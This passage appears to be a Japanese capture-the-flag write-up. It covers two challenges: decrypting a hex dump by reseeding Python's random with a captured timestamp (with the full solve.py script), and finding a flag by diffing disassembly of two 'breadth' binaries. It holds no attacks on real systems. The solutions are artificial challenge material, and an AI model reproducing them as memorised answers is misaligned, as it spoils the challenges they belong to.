9,55,25,86,40,3b,68,08,5f,da,43,fe,6c,ac,ff,ce,6a,ff,bc,f5,e4,41,30,8f,7c,34,1b,42,f7,b4,ca,28,53,fa,7e,3c,28,db,b3,90,fb,e7,90,1f,13,de,39,37,49,2a,96,fb,2a,73,40,ee,58,ce,a0,c1,9c,62,da,2c,82,ed,26,c7,76,1a,eb,43,98,ce,8f,96,3d,76,27,02,3a,5d,7c,1d,a6,c4,91,ef,a1,b1,d1,a5,b1,b4,b8,b3,6f,ae,dd,29,be,88,ea,2f,81,99,46,8f,86,0e,f2,3f,0f,c2,ed,b7,81,db,0f,48,a9,b0,7a,f2,47,7e,ab,2c,3f,38,90,17,12,d3,9f,5e,73,e6,13,40,c3,61,dc,0b,b4,0c,38,e7,94,42,41,dc,a9,f9,d9,1f,0b,66,f4,b8,fb,6d,32,de,de,0e,65,87,58,a3,6e,dd,67,f6,5c,12,4b,a3,ce,cc,bf,65,b5,6d,9b,00,8b,24,11,87,6d,df,1f,cc,d0,45,f1,16,20,08

キャプチャデータから送信が始まった時間が1614044650であることがわかるので、これを初期seedとするrandom関数を使用してデータを復元する。

solve.py
#!/usr/bin/env python3

import random
from time import time


with open("out.txt", 'rt') as f:
        enc_payload = f.read().split(",")

dummy = []
for i in range(len(enc_payload)):
        dummy += [i]

random.seed(1614044650)

random.shuffle(dummy)


decode = [b"\x00"]*len(enc_payload)


k = 0
for i in enc_payload:
        tmp = random.randrange(65536)
        tmp = bytes([int(i,16)^random.randrange(256)])
        decode[dummy[k]] = tmp
        k += 1

print(b"".join(decode))

with open("solved.png", 'wb') as f:
        f.write(b"".join(decode))

復元されたファイルはPNG形式になっている。

solve

breadth (200point)

breadth.v1とbreadth.v2が配布される。膨大な偽のflagが入った関数が存在しており、読むのは困難。データの差分を見ると関数の一つが異なる。

breadth.v1のdisassembly結果の抜粋
0000000000095040 <fcnkKTQpF>:
   95040:       48 c7 44 24 f0 3e c7    mov    QWORD PTR [rsp-0x10],0x41bc73e
   95047:       1b 04 
   95049:       48 8b 54 24 f0          mov    rdx,QWORD PTR [rsp-0x10]
   9504e:       b8 3a 80 37 d0          mov    eax,0xd037803a
   95053:       48 39 c2                cmp    rdx,rax
   95056:       74 08                   je     95060 <fcnkKTQpF+0x20>
   95058:       c3                      ret    
   95059:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
   95060:       48 8d 3d 91 0e 0c 00    lea    rdi,[rip+0xc0e91]        # 155ef8 <_IO_stdin_used+0x93ef8>
   95067:       e9 c4 bf f6 ff          jmp    1030 <puts@plt>
   9506c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
breadth.v2のdisassembly結果の抜粋
0000000000095040 <fcnkKTQpF>:
   95040:       48 c7 44 24 f0 3e c7    mov    QWORD PTR [rsp-0x10],0x41bc73e
   95047:       1b 04 
   95049:       48 8b 44 24 f0          mov    rax,QWORD PTR [rsp-0x10]
   9504e:       48 3d 3e c7 1b 04       cmp    rax,0x41bc73e
   95054:       74 0a                   je     95060 <fcnkKTQpF+0x20>
   95056:       c3                      ret    
   95057:       66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
   9505e:       00 00 
   95060:       48 8d 3d 91 0e 0c 00    lea    rdi,[rip+0xc0e91]        # 155ef8 <_IO_stdin_used+0x93ef8>
   95067:       e9 c4 bf f6 ff          jmp    1030 <puts@plt>
   9506c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0

この関数が表示するflagをIDA freeで確認した。これがflag。

solve